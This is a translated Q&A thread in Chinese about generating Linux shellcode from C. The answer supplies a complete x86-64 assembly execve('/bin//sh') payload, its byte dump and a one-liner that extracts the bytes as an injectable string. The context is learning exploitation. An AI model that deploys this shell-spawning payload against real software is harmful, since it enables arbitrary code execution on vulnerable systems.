在不弄乱汇编的情况下构建外壳代码



是否可以在不编写汇编代码的情况下构造shellcode?

我尝试编译以下简单的应用程序:

#include <stdlib.h>
int main(int argc, char** argv)
{
        char* args[] = { "/bin/bash", NULL };
        execve("bin/bash", &args, NULL);
        return 0;
}

然后我编译它并使用 gdb 得到以下内容:

(gdb) x/15i main
   0x400506 <main>:     push   %rbp
   0x400507 <main+1>:   mov    %rsp,%rbp
=> 0x40050a <main+4>:   sub    $0x20,%rsp
   0x40050e <main+8>:   mov    %edi,-0x14(%rbp)
   0x400511 <main+11>:  mov    %rsi,-0x20(%rbp)
   0x400515 <main+15>:  movq   $0x4005d4,-0x10(%rbp)
   0x40051d <main+23>:  movq   $0x0,-0x8(%rbp)
   0x400525 <main+31>:  lea    -0x10(%rbp),%rax
   0x400529 <main+35>:  mov    $0x0,%edx
   0x40052e <main+40>:  mov    %rax,%rsi
   0x400531 <main+43>:  mov    $0x4005de,%edi
   0x400536 <main+48>:  callq  0x4003f0 <execve@plt>
   0x40053b <main+53>:  mov    $0x0,%eax
   0x400540 <main+58>:  leaveq
   0x400541 <main+59>:  retq

不幸的是,我不能使用它来生成shellcode,因为使用了全局偏移表[main+48]。

如何修复此方法以生成shellcode而无需返回汇编。

你不能。

C 编译器不知道如何直接生成系统调用。它所知道的只是调用函数——它使用 GOT。

(你可以通过使用内联汇编程序来解决这个问题,但这仍然是"在汇编中编写代码",你已经说过要避免这种情况。

除此之外,您还会发现 C 编译器将生成附带包含空字节的程序集。这将在许多应用程序中不起作用。

学习如何编写汇编,或使用别人的shellcode。

下面是一个使用/bin/sh 和堆栈方法导致使用 execve 打开 shell 的示例。

我目前正在学习Security Tube的Linux Assembly 64位课程,并阅读Hacking,The Art of Exploitation,Jon Erickson;它使用x86汇编。

; David @InfinitelyManic
; execute_shellcode_stack.s
; nasm -felf64 -g -F dwarf execute_shellcode_stack.s -o execute_shellcode_stack.o  && ld execute_shellcode_stack.o -o execute_shellcode_stack
; code from course: http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/
;
section .bss
section .data
section .text
        global _start
_start:
        ;  <syscall name="execve" number="59"/>
        ;  int execve(const char *filename, char *const argv[], char *const envp[]);
        ;  x86_64                 rdi                   rsi                 rdx       r10 r8 r9
        xor rax, rax                            ; null
        push rax                                ; push 0x00
        ; we need /bin//sh in hex in reverse
        ; rev <<< "/bin//sh" | xxd -g4
        ; 00000000: 68732f2f 6e69622f 0a                 hs//nib/.
        mov rbx, 0x68732f2f6e69622f     ; hs//nib/ ascii
        push rbx                        ; push '/bin//sh' to stack
        mov rdi, rsp                    ; _filename = '/bin//sh'0000
        push rax                        ; second null 0x00 ""
        mov rdx, rsp                    ; envp = array of strings == null
        push rdi                        ; push _filename
        mov rsi, rsp                    ; argv = array of argument strings  = _filename
        add rax, 59                     ; syscall # for execve
        syscall

对象转储:

execute_shellcode_stack:     file format elf64-x86-64

Disassembly of section .text:
0000000000400080 <_start>:
  400080:       48 31 c0                xor    rax,rax
  400083:       50                      push   rax
  400084:       48 bb 2f 62 69 6e 2f    movabs rbx,0x68732f2f6e69622f
  40008b:       2f 73 68
  40008e:       53                      push   rbx
  40008f:       48 89 e7                mov    rdi,rsp
  400092:       50                      push   rax
  400093:       48 89 e2                mov    rdx,rsp
  400096:       57                      push   rdi
  400097:       48 89 e6                mov    rsi,rsp
  40009a:       48 83 c0 3b             add    rax,0x3b
  40009e:       0f 05                   syscall

为 C 程序生成外壳代码:

$ for i in $(objdump -d execute_shellcode_stack | grep "^ " |cut -f2); do echo -n "x"$i; done; echo
x48x31xc0x50x48xbbx2fx62x69x6ex2fx2fx73x68x53x48x89xe7x50x48x89xe2x57x48x89xe6x48x83xc0x3bx0fx05

输出:

 $ ./shellcode
Shellcode Length: 32
$

最新更新